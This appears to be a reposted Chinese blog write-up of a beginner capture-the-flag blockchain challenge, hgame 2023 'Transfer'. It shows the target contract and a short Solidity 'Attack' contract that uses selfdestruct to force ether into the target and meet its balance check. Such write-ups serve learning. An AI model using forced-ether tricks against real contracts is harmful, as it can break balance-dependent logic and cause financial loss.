hgame 2023 week2 Transfer

借hgame开始入门学习自己一直想接触的Blockchain方向,在四周的比赛时间内会记录hgame中有趣的问题,Crypto方向等a掉四周的题目一起放出来

源代码:

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;

contract Transfer{
    constructor() {}

    function isSolved() public view returns(bool) {
        return address(this).balance >= 0.5 ether;
    }
}

需要使得balance的值≥0.5,这里使用合约自毁函数selfdestruct,传入payable address类型参数,自毁后该合约余额全部传入参数地址中
exp:

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;

contract Attack{
    uint public balance = 0;

    function destruct(address payable _to) external payable {
        selfdestruct(_to);
    }
    
    function deposit() external payable {
        balance += msg.value;
    }

}


编译后顺序执行deposit destruct即可

第一道成功解出的Blockchain

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/App1eTree/p/17063381.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!